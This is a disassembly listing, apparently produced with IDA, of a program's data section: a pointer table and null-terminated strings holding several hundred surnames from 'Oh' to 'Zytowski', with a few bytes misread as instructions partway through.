dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- xor ah, ch inc edx add [esp+ebp*8], ah inc edx add [esp+ebp*8], bl inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC21 ; --------------------------------------------------------------------------- align 10h dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBE4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBE0o align 4 aZurn db 'Zurn',0 align 4 aZucconi db 'Zucconi',0 aZoldak db 'Zoldak',0 align 4 aZerbini db 'Zerbini',0 dd 6167655Ah db 6Eh ; --------------------------------------------------------------------------- loc_42EC21: ; CODE XREF: ___:0042EBDDj jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC93h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBC0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBBCo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBB8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBB4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBB0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EBACo align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EBA8o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EBA4o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EBA0o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB9Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB98o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB94o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB90o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB8Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB88o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB84o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB80o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB7Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB78o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB74o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB70o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB6Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB68o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB64o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB60o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB5Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB58o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB54o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB50o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB4Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB48o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB44o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB40o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB3Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB38o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB34o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB30o aViano db 'Viano',0 ; DATA XREF: ___:0042EB2Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB28o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB24o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB20o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB1Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB18o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB14o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB10o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EB0Co aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EB08o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EB04o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EB00o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAFCo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAF8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAF4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAF0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EAECo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAE8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAE4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAE0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EADCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAD8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAD4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAD0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EACCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAC8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAC4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAC0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EABCo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAB8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAB4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAB0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EAACo aWaite db 'Waite',0 ; DATA XREF: ___:0042EAA8o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EAA4o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EAA0o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA9Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA98o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA94o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA90o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA8Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA88o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA84o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA80o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA7Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA78o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA74o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA70o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA6Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA68o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA64o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA60o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA5Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA58o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA54o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA50o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA4Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA48o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA44o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA40o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA3Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA38o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA34o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA30o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA2Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA28o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA24o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA20o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA1Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA18o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA14o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA10o aTill db 'Till',0 ; DATA XREF: ___:0042EA0Co align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042EA08o aThroop db 'Throop',0 ; DATA XREF: ___:0042EA04o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042EA00o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9FCo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9F8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9F4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9F0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9ECo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9E8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9E4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9E0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9DCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9D8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9D4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9D0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9CCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9C8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9C4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9C0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9BCo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9B8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9B4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9B0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E9ACo aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E9A8o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E9A4o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E9A0o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E99Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E998o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E994o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E990o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E98Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E988o aStrange db 'Strange',0 ; DATA XREF: ___:0042E984o aStott db 'Stott',0 ; DATA XREF: ___:0042E980o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E97Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E978o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E974o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E970o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E96Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E968o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E964o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E960o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E95Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E958o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E954o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E950o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E94Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E948o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E944o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E940o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E93Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E938o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E934o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E930o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E92Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E928o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E924o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E920o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E91Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E918o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E914o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E910o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E90Co aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E908o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E904o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E900o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8FCo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8F8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8F4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8F0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8ECo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8E8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8E4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8E0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8DCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8D8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8D4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8D0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8CCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8C8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8C4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8C0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8BCo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8B8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8B4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8B0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E8ACo align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E8A8o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E8A4o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E8A0o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E89Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E898o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E894o aShia db 'Shia',0 ; DATA XREF: ___:0042E890o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E88Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E888o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E884o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E880o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E87Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E878o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E874o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E870o aShar db 'Shar',0 ; DATA XREF: ___:0042E86Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E868o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E864o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E860o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E85Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E858o aSexton db 'Sexton',0 ; 